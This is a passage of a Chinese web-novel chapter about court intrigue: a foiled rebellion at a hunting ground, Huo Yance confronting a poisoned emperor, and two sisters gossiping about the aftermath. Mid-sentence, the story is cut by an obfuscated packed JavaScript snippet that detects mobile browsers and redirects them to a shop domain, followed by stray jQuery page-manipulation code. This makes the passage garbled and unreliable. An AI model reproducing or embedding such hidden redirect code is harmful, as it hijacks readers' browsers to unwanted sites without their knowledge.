“雯雯。”兰惠一脸悲痛地大喊着,眼底浮起一层水光,“姨母一向疼你。胞姐离世的早,姨母见了你,便如见了昔日亲姊,恨不得将世上所有好的都捧到你面前。
她缓缓地闭上了眼,再睁开时,眼底的温情与悲痛尽数褪去,只余一片决绝,像是千年坚冰封住的雪山:“可如今,你却落入了乱臣贼子的手中,成了他要挟的筹码,忠正之臣皆因你投鼠忌器,这江山,危在旦夕了。”
“姨母也是迫不得已,你不要怪姨母……”
她的身后悄然出现了一名暗卫,搭弓拉弦,弓如满月,箭尖直指施霁雯心脏的所在之处。
空旷的猎场,一片死寂。
这个变故来的太突然了,伏昭心惊肉跳地看着兰惠身后的暗卫,余光却一直不离霍言策。
越王也同样分了神,他不可置信地看着兰惠身后的暗卫,握着短刃的匕首的力道也不由自主地松了些。
就是现在……
施霁雯悄声无息地从腰包中摸出一支尖利的银簪,趁着越王分神的空挡狠狠扎进了他的阳溪穴中。
这是人体经脉最为丰富的岔口,越王的整条手臂骤然一麻,手腕背侧传来刀割般的撕裂感,他的五指不由自主地松开。
已经有了青英山事件在前,她怎么可能不在身上放些防身的利器?
短刃很快便朝着地面落下,施霁雯趁机将全身力气汇聚于肘部,对着身后狠狠一击……
她脱离了越王的桎梏。
下一刻,她利落地抬脚,从马背上翻身而下。
她有些庆幸,在柳疏镇时,何常教自己骑马时,自己并没有敷衍了事。
“抓叛贼。”
伏昭的反应最是迅速,见施霁雯脱了困,便领着卫北营一拥而上。
……
绾清端了碗苦涩的药,缓缓地走在宫道之上。
“站住。”
殿外,是两柄森冷的长刀挡住了她的去路。
绾清抬起头,让殿外执守的人看清她的样貌。
“是绾清姐姐啊。”其中一人不好意思的挠了挠头,“方才没看清,绾清姐姐莫怪。”
“无事。”绾清颔首,算是打了招呼,然后便伸出手,推开了殿门。
……
苦涩的药味裹着寒意钻进殿中,榻边燃着的一点残烛明灭不定。
霍言策今日着了身绛紫色的衣裳,他站在阴影处,像是站在暗处的寒刃。
绾清端着药,低着头,熟门熟路地走至角落处的一株梅花旁。
那株梅是宫人昨日才采摘下送来的,可花朵却焉头搭脑的,像是没有了生气。
绾清将手中的枯药拿起,一股脑都喂给了这株梅花。
本就没什么生气的梅花此刻看着像是更枯了。
绾清直起身来,端着空碗,从袖中摸出一粒药丸递给霍言策。
“这是今日的药。”
霍言策接过药丸,转头看向了榻上的人。
庆嘉帝倚着榻,面色苍白,瞧着还有几分病态,往日束好的发丝披散下来,更添了几分凌乱与病态。
霍言策走上前,捏住庆嘉帝的嘴巴,逼迫他张开嘴将那粒药丸吞下。
见庆嘉帝将药丸彻底吞下,绾清这才悄无声息地退了出去。
“咳咳咳咳咳咳。”霍言策的动作算不上轻柔,甚至有些粗暴,庆嘉帝咳红了一双眼,眼角甚至还有泪珠渗出。
霍言策沉默片刻,倒了一杯水,递给庆嘉帝。
一口水润了喉,庆嘉帝的咳声这才缓和了下来。
“朕还有几日可活?”
“十日,应是能过了年。”霍言策将茶盏放下,“每日都有服药,这毒便不会立刻毙命。”
“过年……哈哈哈哈哈哈哈,好啊,还能和皇后过这最后一个年。”庆嘉帝勾着笑,缓缓地看向霍言策,“越王的谋逆也是你们一早便谋划好的。”
“不是。”霍言策摇了摇头,“那是他一早就谋划好的,我们只是逼了他一把,让他提前了而已。”
“猎场的人,也是他早早地送来陵卫的,而我恰好又送出去了。”霍言策说着顿了顿,“同你一样,借力打力。”
庆嘉帝缓缓地吸了一口气,胸腔中满是刺鼻的熏香味:“她连外甥女的命都能豁出去为皇位铺路,你与虎谋皮当真以为自己能回得去落北吗?”
霍言策的嘴角勾起一抹嘲讽的笑意:“为何你不觉得,当初我回这瓖都,是心甘情愿的呢?”
这句话像一个惊雷在庆嘉帝的耳旁炸开,他难以置信地看向霍言策。
“世人皆知,落北的酒最是烈。”
霍言策的嗓音很轻,像是在讲着故事:“落北的冬日,比瓖都更要冷上许多,却又不似瓖都,有炭取暖,有衣可庇,那儿连年征战,用不了奢侈的炭火,更没有暖和的衣裳,于是到了冬日,那儿的百姓便会自酿烈酒,借酒取暖。”
庆嘉帝:“你同朕说这些做什么?”
“我元国公一脉,世代执戈,替陛下镇守落北、浴血沙场,连我娘都病死在了落北的军营里。”
霍言策垂眸,淡淡地看向庆嘉帝:“可陛下自始至终,信不过我等。只看得见我们手中兵权,只忌惮我族势重,生怕这龙椅不稳,便处处猜忌、步步算计。可曾想过,我满门忠骨,寒透了心?”
怒火涌上胸膛,庆嘉帝忍不住又咳嗽起来,剧烈的咳声像是要把整个肺都咳出来:“放肆,朕身在这龙椅之上,处处都是盯着朕这把椅子的人,朕不过是自保而已。”
“何况朕给你粮草军械,予你高官厚禄,满门荣宠皆出自朕手。你等食君之禄,为君分忧,镇守疆土、护卫江山,本就是天经地义,分内之事!”
“是啊,父亲也是这么想。”霍言策耸了耸肩,庆嘉帝的面色看着这才缓和了点。
“但我不这么想,”他恶劣地来了一个“大喘气”,靠近庆嘉帝,牢牢地盯着他的脸,不肯放过他脸上的任何一个表情,“陛下可曾听过鸟尽弓藏,兔死狗烹?若不是如今瀛族十八部猖獗,朝中除我霍家,无一人可接手落北,便会不单单是让我回来做人质,而是我霍家如今怕是死的死,流放的流放了吧?”
“你,放肆,朕……”
不等庆嘉帝将话说完,霍言策便直接打断了他:“我也要为霍家谋一条生路。”
他面无表情地看着如今落魄的帝皇,转了话锋:“但你也不是一无是处,父亲生死不明时,倒也没有弃落北百姓于不顾,随意派一人至落北。没有像越王一般,为了皇位毫无骨气地与瀛族联手合作。”
“只是我不明白,既然心中尚有百姓,当初兴州闵将军一时,你接机铲除异己后,为何不继续调查其幕后之人?”
“哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈”刺耳的笑声响彻大殿,庆嘉帝像是疯了一般的大笑起来。
良久,他才止住笑声。
“朕知道是越王,朕也知道他私通瀛族。”他抬起眼,久居上位的威压扑面而来,“只是朕还需要他,需要留着他与兰家斗,况且你早晚有一日会知道他私通瀛族,在兰家倒下前,还能分散你们霍家的注意。”
霍言策屈指叩案:“所以你后来便不惜拿整个落北冒险,害的落北连失数城,百姓深陷战争,苦不堪言。”
庆嘉帝从鼻子中冷哼一声:“那是朕没算到,他竟为了皇位,做到如此地步,但朕早已握了他私通的罪证,你们查证时,朕也未曾拦过你们。”
“既然陛下算计颇多,可曾算到了昨日?”
庆嘉帝的眼眸寒芒骤起,他像是想到了什么:“朕千算万算,没想到你们连锦衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281467|198364||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卫都能渗透,朕的耳目被遮,这才被你们寻了机会。”
“陛下这皇位坐了许久了,人在高处太久,会看不见低处的。”霍言策起了身,转身朝着殿外走去,“该换个人了。”
“荒唐!”庆嘉帝疯了似的要从榻上挣扎着下地,可腿刚一着地,便因为没有力气而跌倒在地。
他挣扎着,爬出一点点距离:“霍言策,帝皇之术,讲的就是一个平衡,你以为一个毫无见识,困守深宫的妇人和一个乳臭未干的孩子能比朕做得更好?等他们坐在了这个位置,只会比朕更决绝,更狠心。”
……
瓖都近几日的茶肆酒肆之中多了一段新鲜谈资。长岭猎场那桩事,不知被何人泄了出去,一时间满城说书先生争相编撰成话本,不过数日,便已风靡全城,一时风头无两。
“话说当日啊,那越王的身后足足有十万兵马,这元国公府的霍小世子只带了一百的兵力呢!”说书先生长长的叹了一口气,眉头蹙起,似是为口中的霍小世子担忧。
“啊,那怎么办呢?”有听客忍不住发问。
说书先生猛的一拍尺:“只见我们那霍小世子大喝一声,忽然天降神力,长出了三头六臂,冲入那十万兵马之中,以一当百,这才扭转了局势,将越王这个叛贼生擒。”
“噗,还三头六臂,霍言策他又不是哪吒,这说书先生倒是很会添油加醋。”施霁烁朝天翻了个白眼,随即便看向了身旁的施霁雯。
“这几日伤可好些了?我瞧着你这几日日日闷在府中养伤,怕你憋坏了,这才带你来这酒楼吃些东西。”施霁烁说着,叹了一口气,“阿姐就不要再垂头丧气着一张脸了。”
施霁雯闻言下意识地伸出手,摸向自己的脸:“我,我没有……”
“是,不是垂头丧气,是摆着一张冰山脸。阿姐你不开心的时候,便是像这样,面上无甚表情,也比平时更惜字如金。”施霁烁撑着脑袋,心情颇好的样子,“说句大逆不道的话,这越王倒也不全是坏的,他杀了那太子,我与太子的婚约也就此作罢,他救了一个女孩的幸福,倒也算是功德一件。”
“不可胡说。”施霁雯一愣,随即反应过来,面上一惊,便要伸手去捂施霁烁的嘴。
“阿姐莫慌,这是在宫外,酒楼之中,方才我是悄悄说与你听,旁人听不见的。”
施霁雯认认真真地看着施霁烁,她清晰地看见,施霁雯的眼底少了几分往日的怯懦谨慎,反倒裹了层属于这个年纪的娇俏活泼。
“你变了许多,与我最初回来时的模样,不一样了。”
“那是我想明白了,我怯懦谨慎地活了那么些年,终究连自己的婚姻大事都做不了主,倒不如随性而活,起码当下我是开心的,你该为我高兴的,阿姐。”
施霁烁伸出筷子,夹了一筷子面前的菜,继续压低了嗓音:“先前我还羡慕阿姐,背后有兰妃可以依靠,如今看来,这依靠倒不全是好的,她大义灭亲,成就了自己的好名声,但那时候的阿姐该有多害怕!”
“这几日你该是没少出府。”施霁雯淡淡道,“那说书先生今日倒是没说兰妃那一段。”
见施霁雯的心情似乎好了些,话也开始变多了起来,施霁烁也有些高兴,忍不住多说了两句:“阿姐真聪明,这几日我心情好,可听到了不少呢。”
“听说啊,那越王背地里还与瀛族私通,府上养了个瀛族的丫头,之前那个兴州的事,就是他指使闵将军把兴州送给瀛族,还有前些日子落北那件事吼,背后也有他的手笔,还有……阿姐还记不记得,当初险些将你烧死在赏音会上的那个姓瞿的大人,听说,他也没少在背后帮越王出谋划策。”
施霁烁说着,举起杯子,抿了口茶,润了润嗓子:“我估摸啊,他的一家老小应该是和跟着那越王府一样死罪难逃了。”